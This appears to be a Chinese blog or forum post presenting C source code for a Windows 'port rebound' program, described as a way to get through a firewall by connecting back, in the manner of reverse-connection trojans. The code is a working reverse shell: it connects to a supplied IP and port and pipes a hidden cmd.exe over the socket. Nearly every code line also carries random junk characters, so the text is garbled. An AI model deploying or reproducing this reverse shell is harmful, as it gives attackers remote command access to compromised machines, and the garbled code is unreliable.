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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x|mqL-Q f  
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/* ============================== ]}U*_rM:  
Rebound port in Windows NT JsDpy{q  
By wind,2006/7 X:6c}p%,!  
===============================*/ &?q/1vLa  
#include *MJX?  
#include W_kHj}dj,p  
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#pragma comment(lib,"wsock32.lib") `glBV`?^  
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void OutputShell(); -amBB7g  
SOCKET sClient; A9wh(P0\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !q9+9 *6  
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void main(int argc,char **argv) 5[A@ gw0u  
{ ~ vJ,`?  
WSADATA stWsaData; W7 Cc  
int nRet; Zy o[(`y  
SOCKADDR_IN stSaiClient,stSaiServer; <)u`~$n2  
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if(argc != 3) b]x4o#t  
{ W0l,cOOZJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); oJ4 AIQjB  
return; @&1ZB6OCb:  
} o| #Qu8Lk  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Vm3v-=6  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $4/yZaVb  
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stSaiClient.sin_family = AF_INET; ig/%zA*Bo  
stSaiClient.sin_port = htons(0); .Yf:[`Q6g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VxVE  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #)C[5?{SNq  
{ ||;hci O  
printf("Bind Socket Failed!\n"); <$X3Hye  
return; BZR:OtR^  
} 3wC' r  
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stSaiServer.sin_family = AF_INET; }[ 4r4 1[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YhDtUt}?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8=gjY\Dp  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ptU \[Tq  
{ J[4mL U  
printf("Connect Error!"); i70w rW#k  
return; ]=>F.GE  
} . koYHq  
OutputShell(); 4scNSeW  
} i[?Vin  
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void OutputShell() Ib+Y~ XYR  
{ V+VkY3  
char szBuff[1024]; 4<k9?)~(J  
SECURITY_ATTRIBUTES stSecurityAttributes; /+@p7FqlE  
OSVERSIONINFO stOsversionInfo; wS%Q<uK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eA#;AQm  
STARTUPINFO stStartupInfo; T3k#VNH  
char *szShell; vvKEv/pN7  
PROCESS_INFORMATION stProcessInformation; A1.7 O  
unsigned long lBytesRead; zmSUw}-4 N  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {= F /C,-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bT^I"  
stSecurityAttributes.lpSecurityDescriptor = 0; %?p1d!  
stSecurityAttributes.bInheritHandle = TRUE; ~v6OsH%vx  
=Ur}~w&H8  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |Z=^`J  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qI~xlW  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rEv$+pP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *a#rM"6P  
stStartupInfo.wShowWindow = SW_HIDE; 4cl\^yD  
stStartupInfo.hStdInput = hReadPipe; 0@H|n^Md#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &NH$nY.r  
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GetVersionEx(&stOsversionInfo); X@K-^8  
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switch(stOsversionInfo.dwPlatformId) yIDD@j=l  
{ J6L  K  
case 1:  DX"xy  
szShell = "command.com"; p2DrEId  
break; .ys6"V|31  
default: ~TS y<t~%-  
szShell = "cmd.exe"; ?e,pN,4  
break; >h k=VyU;  
} )u/yF*:n  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dIRm q+d^  
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send(sClient,szMsg,77,0); l}] t~!X=  
while(1) 5[* qi?w=  
{ _Jme!Oaa  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v?& -xH-S  
if(lBytesRead) %jJ>x3$F  
{ gG-BVl"59  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1@QZnF5[  
send(sClient,szBuff,lBytesRead,0); J|w\@inQ  
} V>A .iim  
else -Xxqm%([71  
{ x)rM/Kq  
lBytesRead=recv(sClient,szBuff,1024,0); {j:hod@-:5  
if(lBytesRead<=0) break; W!?7D0q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bpKZ3}U  
} L"{JRbh[  
} ;S57w1PbVA  
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return; jF=gr$  
}
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